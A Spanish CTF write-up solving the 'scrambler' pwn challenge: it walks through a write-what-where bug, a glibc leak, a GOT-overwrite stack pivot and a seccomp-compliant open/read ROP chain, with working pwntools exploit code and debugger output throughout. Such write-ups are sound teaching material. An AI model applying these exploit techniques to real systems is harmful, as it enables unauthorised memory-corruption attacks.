scrambler
22 minutos de lectura
Se nos proporciona un binario de 64 bits llamado scrambler
:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
También tenemos el binario de Glibc (libc.so_1.6
) de la instancia remota, por lo que podemos usar pwninit
para parchear el binario y usar esta librería, de manera que el exploit sea igual en local y en remoto:
$ pwninit --libc libc.so_1.6 --bin scrambler --no-template
bin: scrambler
libc: libc.so.6
fetching linker
https://launchpad.net/ubuntu/+archive/primary/+files//libc6_2.31-0ubuntu9.7_amd64.deb
unstripping libc
https://launchpad.net/ubuntu/+archive/primary/+files//libc6-dbg_2.31-0ubuntu9.7_amd64.deb
setting ./ld-2.31.so executable
symlinking libc.so.6 -> libc.so_1.6
copying scrambler to scrambler_patched
running patchelf on scrambler_patched
Aunque el binario ha sido despojado (stripped):
$ file scrambler
scrambler: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1343b327e61aac49d34bc641ccd80457126ef56e, for GNU/Linux 3.2.0, stripped
El proceso de ingeniería inversa no es muy difícil. Después de cargar el binario en Ghidra y renombrar variables y funciones, tenemos que esta es la función main
:
int main() {
undefined4 uVar1;
int iVar2;
long in_FS_OFFSET;
int option;
undefined4 arg1;
undefined4 arg2;
undefined4 arg3;
int i;
undefined auStack40 [8];
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
setup();
seccomp_rules();
i = 0;
while (true) {
puts("1) Try scrambling");
puts("2) Quit");
printf("> ");
__isoc99_scanf("%d",&option);
if (option != 1) break;
if (i < 8) {
puts("arg1 = ");
printf("> ");
__isoc99_scanf("%d", &arg1);
puts("arg2 = ");
printf("> ");
__isoc99_scanf("%d", &arg2);
puts("arg3 = ");
printf("> ");
__isoc99_scanf("%d", &arg3);
uVar1 = arg3;
iVar2 = return_random(arg1,arg2);
auStack40[iVar2] = (char) uVar1;
i++;
} else {
puts("Not allowed!");
}
}
puts("Good bye!");
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
El binario está protegido con reglas seccomp
. Podemos usar seccomp-tools
para ver qué llamadas de sistema podemos utilizar:
$ seccomp-tools dump ./scrambler
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0a 0xc000003e if (A != ARCH_X86_64) goto 0012
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x07 0xffffffff if (A != 0xffffffff) goto 0012
0005: 0x15 0x05 0x00 0x00000000 if (A == read) goto 0011
0006: 0x15 0x04 0x00 0x00000001 if (A == write) goto 0011
0007: 0x15 0x03 0x00 0x00000002 if (A == open) goto 0011
0008: 0x15 0x02 0x00 0x0000000a if (A == mprotect) goto 0011
0009: 0x15 0x01 0x00 0x0000003c if (A == exit) goto 0011
0010: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0012
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0012: 0x06 0x00 0x00 0x00000000 return KILL
Vemos que solo podemos usar open
, read
, write
y mprotect
. Por tanto, el objetivo del reto es leer la flag (que está en /home/ctf/flag.txt
, dato del reto), y no conseguir una shell.
Analizando la función main
, vemos que podemos introducir tres números (arg1
, arg2
y arg3
). Luego, arg1
y arg2
se pasan a la función que renombré como return_random
. El resultado de esta función se usará como offset respecto a una dirección de la pila (stack) y arg3
será el valor que se almacene ahí (como char
). Probablemente se vea mejor en la instrucción en ensamblador (tomada de la salida de objdump
):
40150c: 88 54 05 e0 mov BYTE PTR [rbp+rax*1-0x20],dl
Esta es la función return_random
:
int return_random(int arg1, int arg2) {
int iVar1;
time_t tVar2;
tVar2 = time((time_t *) 0x0);
srand((uint) tVar2);
iVar1 = rand();
return arg2 + iVar1 % arg1;
}
Está cogiendo un valor aleatorio y realizando operaciones matemáticas con los argumentos arg1
y arg2
. Podríamos pensar en usar un generador de números pseudo-aleatorios (PRNG) inicializado en time(0)
como en el programa, de manera que sepamos el valor de iVar2
y tengamos mayor control sobre el valor retornado de la función. Sin embargo, nos podemos olvidar del valor aleatorio si ponemos arg1 = 1
, porque:
$$ z = 0 \pmod{1} \quad, \forall z \in \mathbb{Z} $$
Por tanto, si arg1 = 1
, entonces return_random(arg1, arg2) = arg2
, por lo que tenemos control total el valor que devuelve return_random
(igual tendría que haber cambiado el nombre de la función… no es muy aleatorio).
En este punto, tenemos una primitiva “write-what-where”, porque controlamos arg3
(que irá a $dl
, solo 1 byte) y controlamos el valor que devuelve return_address
(que será el offset respecto a $rbp - 0x20
, guardado en $rax
).
Existe otra limitación en la función main
, que es que el programa no nos permitirá hacer “scrambling” si el contador llega a i = 8
. Para evitar esto, podemos hacer uso de la primitiva “write-what-where” y cambiar el valor del contador a un número negativo, de manera que tengamos intentos de “scrambling” casi ilimitados. Esta es la instrucción en ensamblador que incrementa el contador:
401510: 83 45 dc 01 add DWORD PTR [rbp-0x24],0x1
Vemos que el contador está almacenado en $rbp - 0x24
. La primitiva “write-what-where” se realiza respecto a $rbp - 0x20
, por lo que los 4 bytes anteriores (los int
tienen 32 bits) tenemos el valor del contador. Podemos verificarlo con GDB poniendo un breakpoint en esa dirección:
$ gdb -q scrambler_patched
Reading symbols from scrambler_patched...
(No debugging symbols found in scrambler_patched)
gef➤ break *0x401510
Breakpoint 1 at 0x401510
gef➤ run
Starting program: ./scrambler_patched
1) Try scrambling
2) Quit
> 1
arg1 =
> 1
arg2 =
> -4
arg3 =
> 100
Breakpoint 1, 0x0000000000401510 in ?? ()
gef➤ x/x $rbp-0x24
0x7fffffffe70c: 0x00000064
gef➤ x/d $rbp-0x24
0x7fffffffe70c: 100
Y aquí lo tenemos. Hemos sobrescrito el valor del contador para que sea 100
(0x64
). Para conseguir un número negativo, tenemos que conseguir que el bit más significativo esté a 1
. De hecho, el mínimo valor del tipo int
es $-2^{31}$, que se representa como 0x80000000
(más información aquí). Entonces, si ponemos -1
en lugar de -4
y ponemos 128
(0x80
) en vez de 100
, obtendremos un número negativo grande, y no nos tendremos que preocupar más del número de intentos.
Solo por probar:
gef➤ run
Starting program: ./scrambler_patched
1) Try scrambling
2) Quit
> 1
arg1 =
> 1
arg2 =
> -1
arg3 =
> 128
Breakpoint 1, 0x0000000000401510 in ?? ()
gef➤ x/x $rbp-0x24
0x7fffffffe70c: 0x80000000
gef➤ x/d $rbp-0x24
0x7fffffffe70c: -2147483648
Perfecto, ahora podemos empezar a pensar en qué hacer para explotar el binario.
Como el objetivo es leer la flag y estamos limitados por las reglas seccomp
, estas serán las instrucciones que tenemos que ejecutar para completar el reto:
open("/home/ctf/flag.txt", O_RDONLY)
read(fd, buffer, length)
puts(buffer)
También, recordemos que NX está habilitado, por lo que tenemos que usar ROP para ejecutar código arbitrario. Al tener que introducir "/home/ctf/flag.txt"
, tenemos que encontrar un gadget como mov qword ptr [rax], rdi; ret
, ya que no tenemos otra manera de introducir texto en el programa. El binario no tiene este tipo de gadgets, pero Glibc sí. Por tanto, el primer paso será fugar una dirección de Glibc para eludir ASLR y usar offsets a los gadgets.
Genial, vamos a empezar a escribir el exploit. Esto es lo que tenemos de momento:
#!/usr/bin/env python3
from pwn import context, ELF, log, p64, remote, sys, u64
elf = ELF('scrambler_patched')
glibc = ELF('libc.so_1.6', checksec=False)
context.binary = elf
def get_process():
if len(sys.argv) == 1:
return elf.process()
host, port = sys.argv[1], sys.argv[2]
return remote(host, int(port))
def write_what_where(p, what: int, where: int):
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'arg1 = \n> ', b'1')
p.sendlineafter(b'arg2 = \n> ', str(where).encode())
p.sendlineafter(b'arg3 = \n> ', str(what).encode())
def main():
p = get_process()
write_what_where(p, 0x80, -1)
flag = b'/home/ctf/flag.txt'
p.interactive()
if __name__ == '__main__':
main()
Con este código, tenemos intentos de “scramble” ilimitados. La función write_what_where
implementa la explicación anterior de la primitiva.
Ahora tenemos que descubrir si podemos modificar la dirección de retorno y tomar control del flujo de ejecución del programa al salir del bucle while
(con la opción 2
).
Una manera de hacerlo es saber que estamos escribiendo usando $rbp - 0x20
como dirección base. Como el binario es de 64 bits, la experiencia nos dice que la dirección de retorno guardada en la pila está en $rbp + 8
, por lo que necesitamos un offset de 0x28
para modificar la dirección de retorno.
Si no se tiene suficiente experiencia, podemos usar GDB para encontrar el offset. Estas son las límes que se ejecutan al poner la opción 2
:
40152a: 48 8d 3d 18 0b 00 00 lea rdi,[rip+0xb18] # 402049 <rand@plt+0xec9>
401531: e8 ca fb ff ff call 401100 <puts@plt>
401536: 90 nop
401537: b8 00 00 00 00 mov eax,0x0
40153c: 48 8b 4d e8 mov rcx,QWORD PTR [rbp-0x18]
401540: 64 48 33 0c 25 28 00 xor rcx,QWORD PTR fs:0x28
401547: 00 00
401549: 74 05 je 401550 <rand@plt+0x3d0>
40154b: e8 d0 fb ff ff call 401120 <__stack_chk_fail@plt>
401550: 48 83 c4 48 add rsp,0x48
401554: 5b pop rbx
401555: 5d pop rbp
401556: c3 ret
Podemos poner un breakpoint en 0x401555
(justo antes de pop rbp
) para ver la dirección de retorno y $rbp
:
$ gdb -q scrambler_patched
Reading symbols from scrambler_patched...
(No debugging symbols found in scrambler_patched)
gef➤ break *0x401555
Breakpoint 1 at 0x401555
gef➤ run
Starting program: ./scrambler_patched
1) Try scrambling
2) Quit
> 2
Good bye!
Breakpoint 1, 0x0000000000401555 in ?? ()
gef➤ p/x $rbp
$1 = 0x7fffffffe730
gef➤ x/10gx $rsp
0x7fffffffe730: 0x0000000000000000 0x00007ffff7dc40b3
0x7fffffffe740: 0x00007ffff7ffc620 0x00007fffffffe828
0x7fffffffe750: 0x0000000100000000 0x00000000004013c2
0x7fffffffe760: 0x0000000000401560 0x2f62a629e826bd42
0x7fffffffe770: 0x0000000000401190 0x00007fffffffe820
Entonces, la dirección de retorno es 0x00007ffff7dc40b3
(de __libc_start_main
), que está en 0x7fffffffe738
($rbp + 8
, como era de esperar).
Nótese que $rbp
será puesto a 0
. Esto será un problema que me llevó mucho tiempo arreglar.
Vamos a continuar de momento. Ahora sabemos dónde escribir para modificar la dirección de retorno. por lo que podemos empezar a crear una ROP chain sencilla para fugar una dirección de Glibc.
Esta vez no explicaré los conceptos tras esta técnica. Si necesitas más información, puedes ver otros retos como Shooting Star o Here’s a LIBC para ver una explicación más detallada. La idea principal es llamar a puts
usando la PLT poniendo la dirección de puts
en la GOT como primer argumento (que irá en $rdi
), de manera que puts
imprima el contenido de esa dirección de la GOT, que será la dirección real de puts
en Glibc en tiempo de ejecución.
Podemos conseguir el gadget pop rdi; ret
con ROPgadget
:
$ ROPgadget --binary scrambler | grep ': pop rdi ; ret$'
0x00000000004015c3 : pop rdi ; ret
Perfecto, esta es la función main
del exploit:
def main():
p = get_process()
pop_rdi_ret = 0x4015c3
while_addr = 0x401400
payload = p64(pop_rdi_ret)
payload += p64(elf.got.puts)
payload += p64(elf.plt.puts)
payload += p64(while_addr)
write_what_where(p, 0x80, -1)
for i, b in enumerate(payload):
write_what_where(p, b, 0x20 + 8 + i)
p.sendlineafter(b'> ', b'2')
p.recvline()
puts_addr = u64(p.recvline().strip().ljust(8, b'\0'))
log.info(f'Leaked puts() address: {hex(puts_addr)}')
p.interactive()
Si lo ejecutamos, obtenemos la fuga de memoria:
$ python3 solve.py
[*] './scrambler_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
[+] Starting local process './scrambler_patched': pid 350738
[*] Leaked puts() address: 0x7f80e640d450
[*] Switching to interactive mode
1) Try scrambling
2) Quit
[*] Got EOF while reading in interactive
$
Nótese que hemos usado 0x401400
como siguiente dirección a retornar, que es el comienzo del bucle while
. No podemos llamar al main
porque las reglas seccomp
ya están aplicadas, y hay algunas configuraciones con setvbuf
que ya no están permitidas.
Vamos a calcular la dirección base de Glibc.
glibc.address = puts_addr - glibc.sym.puts
log.info(f'Glibc base address: {hex(glibc.address)}')
Ahora tenemos la dirección base, que parece correcta porque termina en 000
en hexadecimal:
$ python3 solve.py
[*] './scrambler_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
[+] Starting local process './scrambler_patched': pid 353240
[*] Leaked puts() address: 0x7f4119ab8450
[*] Glibc base address: 0x7f4119a34000
[*] Switching to interactive mode
1) Try scrambling
2) Quit
[*] Got EOF while reading in interactive
$
Perfecto. Pero tenemos un problema. Nos dice “EOF while reading in interactive”, por lo que el programa se ha roto. Y esto es porque $rbp
está en 0
cuando se retorna del main
. Y como no podemos llamar al main
desde el principio, no podemos poner en $rbp
su valor inicial.
Cuando hice el reto, no me di cuenta de esto y continué con la siguiente ROP chain para leer la flag. Pero luego me di cuenta de que necesitaba resolver el problema de $rbp
antes.
Tenemos que hacer algo con $rbp
, y solamente tenemos el binario (ya que Glibc no está fugado al crear la primera ROP chain). El objetivo es redirigir el flujo de ejecución del programa al bucle while
, pero con un valor de $rbp
válido (y no 0
). Lo único que podemos hacer es buscar gadgets que involucren a $rbp
:
$ ROPgadget --binary scrambler | grep ret$ | grep rbp
0x000000000040125a : add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x000000000040125b : add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000401259 : add byte ptr cs:[rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x000000000040125c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401257 : add eax, 0x2e4b ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x00000000004013b8 : add eax, edx ; mov dword ptr [rbp - 4], eax ; mov eax, dword ptr [rbp - 4] ; leave ; ret
0x0000000000401551 : add esp, 0x48 ; pop rbx ; pop rbp ; ret
0x0000000000401550 : add rsp, 0x48 ; pop rbx ; pop rbp ; ret
0x00000000004013bc : cld ; mov eax, dword ptr [rbp - 4] ; leave ; ret
0x0000000000401256 : mov byte ptr [rip + 0x2e4b], 1 ; pop rbp ; ret
0x00000000004013ba : mov dword ptr [rbp - 4], eax ; mov eax, dword ptr [rbp - 4] ; leave ; ret
0x00000000004013bd : mov eax, dword ptr [rbp - 4] ; leave ; ret
0x00000000004012d8 : nop ; pop rbp ; ret
0x00000000004015bb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004015bf : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000040125d : pop rbp ; ret
0x0000000000401554 : pop rbx ; pop rbp ; ret
Hay un gadget que podemos usar para controlar $rbp
, y es pop rbp; ret
. Sería genial si tuviéramos una dirección de la pila para ponerla en $rbp
, pero no podemos fugar direcciones en la primera ROP chain y usarlas para controlar $rbp
.
Por tanto, probé a usar una dirección del propio binario:
gef➤ vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x000000003ff000 0x00000000400000 0x00000000000000 rw- ./scrambler_patched
0x00000000400000 0x00000000401000 0x00000000001000 r-- ./scrambler_patched
0x00000000401000 0x00000000402000 0x00000000002000 r-x ./scrambler_patched
0x00000000402000 0x00000000403000 0x00000000003000 r-- ./scrambler_patched
0x00000000403000 0x00000000404000 0x00000000003000 r-- ./scrambler_patched
0x00000000404000 0x00000000405000 0x00000000004000 rw- ./scrambler_patched
0x007ffff7d9d000 0x007ffff7da0000 0x00000000000000 rw-
0x007ffff7da0000 0x007ffff7dc2000 0x00000000000000 r-- ./libc.so_1.6
0x007ffff7dc2000 0x007ffff7f3a000 0x00000000022000 r-x ./libc.so_1.6
0x007ffff7f3a000 0x007ffff7f88000 0x0000000019a000 r-- ./libc.so_1.6
0x007ffff7f88000 0x007ffff7f8c000 0x000000001e7000 r-- ./libc.so_1.6
0x007ffff7f8c000 0x007ffff7f8e000 0x000000001eb000 rw- ./libc.so_1.6
0x007ffff7f8e000 0x007ffff7f92000 0x00000000000000 rw-
0x007ffff7f92000 0x007ffff7f94000 0x00000000000000 r-- /usr/lib/x86_64-linux-gnu/libseccomp.so.2.5.1
0x007ffff7f94000 0x007ffff7fa3000 0x00000000002000 r-x /usr/lib/x86_64-linux-gnu/libseccomp.so.2.5.1
0x007ffff7fa3000 0x007ffff7fb1000 0x00000000011000 r-- /usr/lib/x86_64-linux-gnu/libseccomp.so.2.5.1
0x007ffff7fb1000 0x007ffff7fb2000 0x0000000001f000 --- /usr/lib/x86_64-linux-gnu/libseccomp.so.2.5.1
0x007ffff7fb2000 0x007ffff7fb3000 0x0000000001f000 r-- /usr/lib/x86_64-linux-gnu/libseccomp.so.2.5.1
0x007ffff7fb3000 0x007ffff7fb4000 0x00000000020000 rw- /usr/lib/x86_64-linux-gnu/libseccomp.so.2.5.1
0x007ffff7fb4000 0x007ffff7fb6000 0x00000000000000 rw-
0x007ffff7fc9000 0x007ffff7fcd000 0x00000000000000 r-- [vvar]
0x007ffff7fcd000 0x007ffff7fcf000 0x00000000000000 r-x [vdso]
0x007ffff7fcf000 0x007ffff7fd0000 0x00000000000000 r-- ./ld-2.31.so
0x007ffff7fd0000 0x007ffff7ff3000 0x00000000001000 r-x ./ld-2.31.so
0x007ffff7ff3000 0x007ffff7ffb000 0x00000000024000 r-- ./ld-2.31.so
0x007ffff7ffc000 0x007ffff7ffd000 0x0000000002c000 r-- ./ld-2.31.so
0x007ffff7ffd000 0x007ffff7ffe000 0x0000000002d000 rw- ./ld-2.31.so
0x007ffff7ffe000 0x007ffff7fff000 0x00000000000000 rw-
0x007ffffffde000 0x007ffffffff000 0x00000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x00000000000000 --x [vsyscall]
Necesitamos una dirección con permisos rw-
, por lo que 0x404000
parece buena opción. Como el binario no tiene protección PIE, esta dirección será fija. No obstante, usé 0x404200
porque la GOT se almacena en 0x404000
, y no quería romperla.
Por tanto, tenemos que actualizar la ROP chain:
pop_rdi_ret = 0x4015c3
pop_rbp_ret = 0x40125d
new_rbp = 0x404200
while_addr = 0x401400
payload = p64(pop_rdi_ret + 1)
payload += p64(pop_rdi_ret)
payload += p64(elf.got.puts)
payload += p64(elf.plt.puts)
payload += p64(pop_rbp_ret)
payload += p64(new_rbp)
payload += p64(while_addr)
Nótese que pop_rdi_ret + 1
(un gadget ret
) se necesita para prevenir problemas con el alineamiento de pila (stack alignment) en printf
. Y conseguimos un proceso interactivo:
$ python3 solve.py
[*] './scrambler_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
[+] Starting local process './scrambler_patched': pid 363454
[*] Leaked puts() address: 0x7f5d037c6450
[*] Glibc base address: 0x7f5d03742000
[*] Switching to interactive mode
1) Try scrambling
2) Quit
> $ 1
arg1 =
> $ 1
arg2 =
> $ 1
arg3 =
> $ 1
1) Try scrambling
2) Quit
> $ 2
Good bye!
[*] Got EOF while reading in interactive
Sin embargo, tenemos otro problema relacionado con la protección del canario:
40153c: 48 8b 4d e8 mov rcx,QWORD PTR [rbp-0x18]
401540: 64 48 33 0c 25 28 00 xor rcx,QWORD PTR fs:0x28
401547: 00 00
401549: 74 05 je 401550 <rand@plt+0x3d0>
40154b: e8 d0 fb ff ff call 401120 <__stack_chk_fail@plt>
401550: 48 83 c4 48 add rsp,0x48
401554: 5b pop rbx
401555: 5d pop rbp
401556: c3 ret
401557: 66 0f 1f 84 00 00 00 nop WORD PTR [rax+rax*1+0x0]
El programa está cogiendo el canario guardado mediante un offset a $rbp
. Como hemos modificado $rbp
, obviamente el valor que habrá en el offset no será igual al canario maestro (fs:0x28
). Y entonces, el programa se cerrará inmediatemante (__stack_chk_fail
).
Este problema viene al usar la opción 2
para ejecutar la segunda ROP chain (que será la que imprima la flag). Como tenemos una primitiva “write-what-where” y $rbp
tiene una dirección del binario, podemos calcular un offset a la tabla GOT (nótese que el binario tiene Partial RELRO, por lo que podemos modificar la GOT en tiempo de ejecución).
La GOT es una tabla que contiene las direcciones reales de las funciones externas o punteros a otra tabla de resolución si la función aún no ha sido usada. El objetivo es modificar el valor de la entrada de __stack_chk_fail
, para que, aunque el canario guardado no coincida con el canario maestro, el programa no termine porque __stack_chk_fail
no será resuelta a la función __stack_chk_fail
real.
Podemos visualizar la GOT en GDB:
$ gdb -q scrambler_patched
Reading symbols from scrambler_patched...
(No debugging symbols found in scrambler_patched)
gef➤ start
[+] Breaking at entry-point: 0x401190
gef➤ got
GOT protection: Partial RelRO | GOT functions: 11
[0x404018] seccomp_init → 0x401030
[0x404020] seccomp_rule_add → 0x401040
[0x404028] puts@GLIBC_2.2.5 → 0x401050
[0x404030] seccomp_load → 0x401060
[0x404038] __stack_chk_fail@GLIBC_2.4 → 0x401070
[0x404040] printf@GLIBC_2.2.5 → 0x401080
[0x404048] srand@GLIBC_2.2.5 → 0x401090
[0x404050] time@GLIBC_2.2.5 → 0x4010a0
[0x404058] setvbuf@GLIBC_2.2.5 → 0x4010b0
[0x404060] __isoc99_scanf@GLIBC_2.7 → 0x4010c0
[0x404068] rand@GLIBC_2.2.5 → 0x4010d0
Los valores anteriores son las entradas de la GOT cuando arranca el programa. Ninguna de las funciones está resuelta porque no se han llamado aún. Vamos a poner un breakpoint antes de cerrar el programa y así vemos cómo está la GOT:
gef➤ break *0x401555
Breakpoint 1 at 0x401555
gef➤ run
Starting program: ./scrambler_patched
1) Try scrambling
2) Quit
> 2
Good bye!
Breakpoint 1, 0x0000000000401555 in ?? ()
gef➤ got
GOT protection: Partial RelRO | GOT functions: 11
[0x404018] seccomp_init → 0x7ffff7f94780
[0x404020] seccomp_rule_add → 0x7ffff7f94e50
[0x404028] puts@GLIBC_2.2.5 → 0x7ffff7e24450
[0x404030] seccomp_load → 0x7ffff7f94a90
[0x404038] __stack_chk_fail@GLIBC_2.4 → 0x401070
[0x404040] printf@GLIBC_2.2.5 → 0x7ffff7e01cc0
[0x404048] srand@GLIBC_2.2.5 → 0x401090
[0x404050] time@GLIBC_2.2.5 → 0x4010a0
[0x404058] setvbuf@GLIBC_2.2.5 → 0x7ffff7e24d10
[0x404060] __isoc99_scanf@GLIBC_2.7 → 0x7ffff7e030e0
[0x404068] rand@GLIBC_2.2.5 → 0x4010d0
Las entradas que aparecen en verde ya están resueltas. Y las que aparecen en amarillo no están resueltas porque no han sido llamadas en este punto de ejecución del programa.
Inicialmente, modifiqué la entrada de __stack_chk_fail
por la entrada de rand
. Entonces, solo tuve que modificar un byte (es decir, cambiar 0x70
por 0xd0
).
De nuevo, tenemos que calcular el offset a esta dirección. Esta vez es más fácil porque sabemos que $rbp = 0x404200
. Por tanto, el offset para llegar a 0x404038
(entrada de __stack_chk_fail
en la GOT) será -0x200 + 0x38 + 0x20
(recordemos que la dirección base de la primitiva “write-what-where” es $rbp - 0x20
). Entonces, tenemos esta línea de código:
write_what_where(p, 0xd0, -0x200 + 0x38 + 0x20)
En este punto, comencé a probar la segunda ROP chain. Pero… Tampoco funcionaba porque $rsp
seguía apuntando a direcciones de la pila (stack), por lo que no era capaz de modificar la dirección de retorno (que se almacena en la pila), ya que $rbp
apunta a una dirección del binario (no hay offsets fijos entre los espacios de memoria de la pila, el binario o Glibc).
De nuevo, otro problema. Para solucionarlo, como $rbp
está forzado a tener una dirección válida y la única que podemos poner es una dirección del binario, tenemos que cambiar $rsp
también. Esta técnica se conoce como Stack Pivot, y consiste en mover el puntero de pila a un espacio de direcciones controlado.
Para poder realizar el Stack Pivot, necesitamos un gadget como leave; ret
, que es equivalente a mov rsp, rbp; pop rbp; ret
. Por suerte, este gadget está en el binario:
$ ROPgadget --binary scrambler | grep ': leave ; ret$'
0x0000000000401387 : leave ; ret
Y por tanto, en lugar de falsificar __stack_chk_fail
para que sea rand
, podemos falsificarla para que contenga la dirección del gadget leave; ret
y realizar el Stack Pivot. Para ello, tenemos que modificar dos bytes: 0x70
pasará a ser 0x87
y 0x10
será 0x13
, que se realiza con estas líneas de código (que reemplazan a la anterior):
write_what_where(p, 0x87, -0x200 + 0x38 + 0x20)
write_what_where(p, 0x13, -0x200 + 0x38 + 0x20 + 1)
Sorprendentemente, todo funciona como esperábamos. Ahora tenemos un proceso interactivo y la dirección de retorno se tomará de la nueva pila, que está entre las direcciones del binario. Ahora hay que realizar el truco para conseguir intentos de “scrambles” ilimitados otra vez. Y entonces, es momento de realizar la segunda ROP chain.
Esta ROP chain es algo compleja, por lo que la dividiré en partes:
- Escribir
"/home/ctf/flag.txt"
en una dirección conocida - Abrir el archivo de la flag
- Leer el archivo de la flag y guardar el contenido en una dirección conocida
- Mostrar el contenido del archivo de la flag
Como hemos fugado Glibc, ahora tenemos acceso a un montón de gadgets y funciones útiles. Los gadgets se pueden obtener con ROPgadget
en el archivo libc.so_1.6
. Estos son los gadgets que vamos a necesitar (aparte de pop rdi; ret
):
mov_qword_ptr_rax_rdi_ret = glibc.address + 0x09a0ff
pop_rax_ret = glibc.address + 0x047400
pop_rsi_ret = glibc.address + 0x02604f
pop_rdx_pop_r12_ret = glibc.address + 0x119241
pop_rcx_pop_rbx_ret = glibc.address + 0x1025ae
Para la primera parte, usaré este payload en bucle:
flag = b'/home/ctf/flag.txt'
flag = flag.ljust(len(flag) + (8 - len(flag) % 8), b'\0')
writable_addr = 0x404000
payload = b''
# Store "/home/ctf/flag.txt" in writable_addr
for i in range(0, len(flag), 8):
payload += p64(pop_rdi_ret)
payload += flag[i:i + 8]
payload += p64(pop_rax_ret)
payload += p64(writable_addr + i)
payload += p64(mov_qword_ptr_rax_rdi_ret)
La cadena de texto que contiene el nombre de archivo de la flag se rellena con bytes nulos hasta que tenga una longitud divisible entre 8
. Luego, vamos a almacenar la cadena en trozos de 8
bytes en una dirección escribible (por ejemplo, 0x404000
). El proceso utiliza mov qword ptr [rax], rdi; ret
para guardar el contenido de $rdi
en la dirección a la que apunta $rax
. GDB puede ser útil para seguir la ejecución de la ROP chain y asegurar que el texto se guarda correctamente.
Después, tenemos que llamar a open("/home/ctf/flag.txt", O_RDONLY)
. Nótese que O_RDONLY
es un alias del valor 0
y que sabemos la dirección donde está guardada la cadena de texto con el nombre del archivo.
Primeramente, utilicé directamente la función open
de Glibc, pero las reglas seccomp
me bloqueaban el proceso. A lo mejor la función utiliza más llamadas de sistema. Luego, miré por gadgets con syscall
: el binario no tiene ninguna y Glibc tiene muchas, pero ninguna termina en ret
, por lo que no las podemos usar en una ROP chain:
$ ROPgadget --binary scrambler | grep syscall
$ ROPgadget --binary libc.so_1.6 | grep syscall | wc -c
153930
$ ROPgadget --binary libc.so_1.6 | grep syscall | grep ret$
De nuevo, otro punto muerto… Pero luego me di cuenta de que Glibc tiene una función que se llama precisamente syscall
:
$ readelf -s libc.so_1.6 | grep syscall
1980: 0000000000118750 55 FUNC GLOBAL DEFAULT 15 syscall@@GLIBC_2.2.5
A lo mejor podemos usar esta función en la ROP chain, eso resolvería el problema. Una cosa a tener en cuenta es que los valores de los registros al ejecutar syscall
($rax
, $rdi
, $rsi
, $rdx
, $rcx
…) se pasan a la función syscall
como argumentos, por lo que $rdi
= $rax
, $rsi
= $rdi
, $rdx
= $rsi
, $rcx
= $rdx
… Esto puede ser un poco confuso, y por eso añadí comentarios en el código:
# syscall: open("/home/ctf/flag.txt", 0)
payload += p64(pop_rdi_ret)
payload += p64(2) # rdi (rax)
payload += p64(pop_rsi_ret)
payload += p64(writable_addr) # rsi (rdi)
payload += p64(pop_rdx_pop_r12_ret)
payload += p64(0) # rdx (rsi)
payload += p64(0)
payload += p64(syscall)
La instrucción sys_open
se ejecuta cuando $rax = 2
. Luego, tenemos que usar sys_read
($rax = 0
). El descriptor de archivo será 3
(porque 0
, 1
y 2
está reservados para stdin
, stdout
y stderr
). Aún así, se puece mirar el número del descriptor de archivo al ejecutar sys_open
, el descriptor de archivo resultante se devuelve en $rax
(y es 3
). Con esto, esta es la ROP chain para sys_read
:
# syscall: read(3, writable_addr, 0x100)
payload += p64(pop_rdi_ret)
payload += p64(0) # rdi (rax)
payload += p64(pop_rsi_ret)
payload += p64(3) # rsi (rdi)
payload += p64(pop_rdx_pop_r12_ret)
payload += p64(writable_addr) # rdx (rsi)
payload += p64(0)
payload += p64(pop_rcx_pop_rbx_ret)
payload += p64(0x100) # rcx (rdx)
payload += p64(0)
payload += p64(syscall)
El número 0x100
es solo para especificar la cantidad de bytes a leer del descriptor de archivo (presumiblemente, no necesitaremos tantos).
Finalmente, para imprimir la flag por pantalla, podríamos haber usado sys_write
(siguiendo el procedimiento de ROP chain con syscall
), pero creo que es más sencillo usar puts
:
# puts(writable_addr)
payload += p64(pop_rdi_ret)
payload += p64(writable_addr)
payload += p64(glibc.sym.puts)
Y esto es todo. Ahora solo tenemos que usar la primitiva “write-what-where” de la misma manera que la usamos en la primera ROP chain y ejecutarla con la opción 2
.
Vamos a probar en local:
$ echo 'flag{this_is_the_flag!!}' > /home/ctf/flag.txt
$ python3 solve.py
[*] './scrambler_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
[+] Starting local process './scrambler_patched': pid 447414
[*] Leaked puts() address: 0x7f028c526450
[*] Glibc base address: 0x7f028c4a2000
[*] Switching to interactive mode
Good bye!
flag{this_is_the_flag!!}
gi\x8c\x7f
[*] Got EOF while reading in interactive
$
¡¡Funciona!! Vamos a ver en remoto (puede tomar algo de tiempo en terminar, alrededor de 10 minutos):
$ python3 solve.py 20.203.124.220 1235
[*] './scrambler_patched'
